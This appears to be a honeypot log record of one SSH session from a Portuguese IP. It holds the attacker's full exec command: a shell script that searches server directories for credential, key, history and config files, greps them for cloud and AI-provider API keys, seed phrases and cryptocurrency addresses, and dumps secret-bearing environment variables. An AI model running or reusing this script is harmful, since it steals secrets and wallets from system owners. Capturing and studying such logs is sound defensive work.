| IP | 85.243.129.112 |
| Country | PT |
| Username | ssh |
| Shell | roomba |
| Exec Command |
OUT=/tmp/_hx2;
( echo "== hostmeta"; uname -a 2>/dev/null | head -c 120;
for d in /root /home /var/www /opt /srv /etc; do
[ -d "$d" ] && find "$d" -maxdepth 4 -type f -size -2M \
\( -name "*.json" -o -name "*.txt" -o -name "*.env" -o -name "*.yml" -o -name "*.yaml" \
-o -name "*.conf" -o -name "*.cfg" -o -name "*.ini" -o -name "*.toml" -o -name "*.properties" \
-o -name "*.key" -o -name "*.pem" -o -name "*.csv" -o -name "*.sh" -o -name "*.py" \
-o -name ".bash_history" -o -name ".zsh_history" -o -name "credentials" -o -name "*.dat" \
-o -name "user-data*" \) 2>/dev/null
done | sort -u | head -2000 > $OUT.f;
grep -rHnE "AKIA[0-9A-Z]{16}|ASIA[0-9A-Z]{16}|sk-[A-Za-z0-9]{20,}|gsk_[A-Za-z0-9]{20,}|pplx-[A-Za-z0-9]{20,}|sk-ant-[A-Za-z0-9_-]{20,}|AIza[0-9A-Za-z_-]{30,}|ya29\.|seed_phrase|wallet\.dat|private_key|mnemonic_phrase" $(cat $OUT.f) 2>/dev/null | head -80;
grep -rHnE "bc1[ac-hj-np-z02-9]{25,90}|0x[a-fA-F0-9]{40}|\b1[1-9A-HJ-NP-Za-km-z]{25,34}\b" $(grep -vE "\.(pem|crt|cer|der|csr|key)$|letsencrypt" $OUT.f) 2>/dev/null | head -40;
env 2>/dev/null | grep -Ei "AWS_|GOOGLE|OPENAI|ANTHROPIC|GROQ|DEEPSEEK|API_KEY|SECRET|TOKEN" | head -15;
ls /root/.aws /root/.config/gcloud /var/lib/docker 2>/dev/null | head -10;
rm -f $OUT.f ) 2>/dev/null
|
| Score | - |
| Connected | 2026-11-02 16:56:24 UTC |
| Disconnected | 2026-11-02 16:56:24 UTC |
Session b5b874cd-a1bf-4875-9445-9dd3f4621c54
No recorded events for this session.